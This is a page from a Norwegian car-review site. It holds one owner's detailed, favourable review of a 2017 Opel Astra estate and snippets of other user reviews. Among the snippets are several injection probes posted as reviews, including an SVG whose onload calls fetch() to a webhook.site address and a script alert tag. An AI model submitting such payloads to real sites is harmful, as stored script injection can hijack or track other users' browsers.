2017 Opel Astra Sports Tourer 1,4 Turbo 150hk Premium aut Stasjonsvogn Bensin
Vurdert av Opel2017
Kanskje Norges mest undervurderte bil og mest bil for pengene? Etter mange år med VW og Audi gikk jeg denne gangen for Opel. Bilen ble kåret til årets bil i Europa 2016 og etter 2 års eie kan jeg virkelig forstå hvorfor den fikk denne utmerkelsen - for her har ingeniørene tenkt godt når de har tenkt praktiske detaljer samtidig som utstyrslisten er svært omfattende. Bagasjerommet er perfekt utformet og det 3 delte bagasjesetet er enkelt å slå ned. Android Auto fungerer fantastisk med f.eks satelittkart fra google eller Waze som guide. Setene er noe av det bedre jeg har prøvd og leveres selvfølgelig med minnefunksjon - perfekt for meg og min kone. Etter software oppgradering av ECU og ny Dexos 1 olje på første service ble bilens gassrepons ennå bedre - trodde bare slikt gikk ann på Tesla, men neida. <br />
Orginaldekkene kan gi noe dekkstøy, men bytter du de i et annet premimum merke så er den irritasjonen ute av verden. Verre er det kanskje med takrails - har Opel gått for en løsning som gjør at takstativ må festes i ferdige skruehull istedenfor direkte på rails - litt dumt spør du meg.<br />
Etter å ha prøvd uttallige biler opp gjennom årene - og spesielt rett før innkjøp av denne - er jeg overbevist at du skal lete lenge etter mer bil for pengene enn denne. Designet er kanskje ikke det beste i klassen, men mhp. praktiske detaljer og som en familiebil har den overrasket meg svært positivt.
Flere vurderinger fra samme generasjon
Opel Astra (2024)
Undervurdert av de fleste journalister, blir dessverre sammenlignet med biler som koster 200K mer som f.eks ID7, siden det er få stasjonsvogner å velge mellom
Opel Astra (2017)
Kjempefornøyd med min 2017 Astra,hadde den i 5 år ,ingen problemer God og kjøre ,meget gode seter Undervurdert bil
Opel Astra (2017)
God plass, god komfort, mye utstyr (Premium), driftsikker, relativt rimelige servicer, bensinforbruk innafor ift bilstørrelse/motorstørrelse (150hk turbo). Mye bil for penga. Alt i alt en undervurde
Opel Astra (2017)
Bilen er utrolig fin å kjøre. Sprek og driftsikker.
Opel Astra (2017)
Meget bra bil,
Opel Astra (2017)
Noen sier Astra er kjedelig. Dem om det. Jeg trives utmerket med min Astra. En trygg og god bil med et, synes jeg, flott design.
Opel Astra (2017)
Den firesylindrede Astra-en med 150 Hk, 230 Nm (med stopp/start) og 6-trinns automatgear er en kvikk og sportslig bil på landeveien. Komforten er også absolutt akseptabel. Dessuten er bilen ekstremt
Opel Astra (2017)
Alt i alt en god og fornuftig hverdagsbil, som fungerer til alle formål, med god kjørekomfort, mye utstyr, god kvalitetsfølelse og lite feil og problemer. Kunne kanskje vært litt mer spennende des
Opel Astra (2016)
Aldri noe driftsproblemet
Opel Astra (2016)
Beste bilen jeg har hatt. og eid over 60 biler gjennom 47 år. Har også jobbet med import og transport av bil. Så ut ifra min erfaring så er Opel Astra, Insignia og Corsa undervurderte biler. Den
Opel Astra (2016)
Dette er en "kjørebil" som er sportslig satt opp, godt førermiljø og gode seter, en frisk og fin motor, presis og lettsjaltet girkasse, god benplass både foran og bak, godt stereoanlegg. I tilleg
Opel Astra (2016)
En kjempebil, som går langt over sine konkurrenter.
Opel Astra (2016)
God bil å kjøre, masse utstyr som blant intelligente kjørelys, varme i rattet og ventilerte skinnseter.
Opel Astra (2016)
6 av 10 . Mange gode egenskaper, men slitsom å kjøre langt med p.g.a mye hjul støy og harde seter.
Opel Astra (2016)
Veldig fornøyd med denne,har ingen betenkligheter og anbefale Astraen til noen
Flere vurderinger
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km
